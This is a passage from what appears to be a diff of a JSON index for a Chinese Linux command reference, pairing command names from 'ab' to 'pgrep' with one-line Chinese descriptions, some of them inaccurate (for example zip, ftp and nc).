平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file +{"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"创一个bz2文件压缩包"},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"解压缩指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"comm":{"n":"comm","p":"/comm","d":"按行比较两个已排序的文件。"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"continue":{"n":"continue","p":"/continue","d":"结束本次循环，继续执行下一个for，while或until循环。"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明变量，设置或显示变量的值和属性。"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录堆栈。"},"disown":{"n":"disown","p":"/disown","d":"从当前的shell中移除作业。"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或禁用shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell。"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"为shell变量或函数设置导出属性。"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"false":{"n":"false","p":"/false","d":"返回状态为失败。"},"fc":{"n":"fc","p":"/fc","d":"显示历史列表中的命令或修改指定的历史命令并执行。"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业移动到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"打印指定用户所在组的名称。"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"显示文件的开头部分。"},"help":{"n":"help","p":"/help","d":"该命令是bash内建命令，用于显示bash内建命令的帮助信息。"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"显示或操作历史列表。"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"显示当前主机的十六进制数字标识。"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hostnamectl":{"n":"hostnamectl","p":"/hostnamectl","d":"查询或更改系统主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"打印真实以及有效的用户和所在组的信息"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量"},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示作业的状态。"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"journalctl":{"n":"journalctl","p":"/journalctl","d":"检索 systemd 日志，是 CentOS 7 才有的工具。"},"jq":{"n":"jq","p":"/jq","d":"一个灵活的轻量级命令行JSON处理器"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"发送信号到进程。"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器，执行算术表达式。"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"local":{"n":"local","p":"/local","d":"在函数内定义局部变量。"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"打印当前终端登录用户的名称。"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"系统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"mapfile":{"n":"mapfile","p":"/mapfile","d":"从标准输入读取行并赋值到数组。"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"用于设置路由器，是网络工具中的瑞士军刀。"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"改变程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"为每一个文件添加行号。"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nproc":{"n":"nproc","p":"/nproc","d":"打印可用的处理器单元数量。"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/p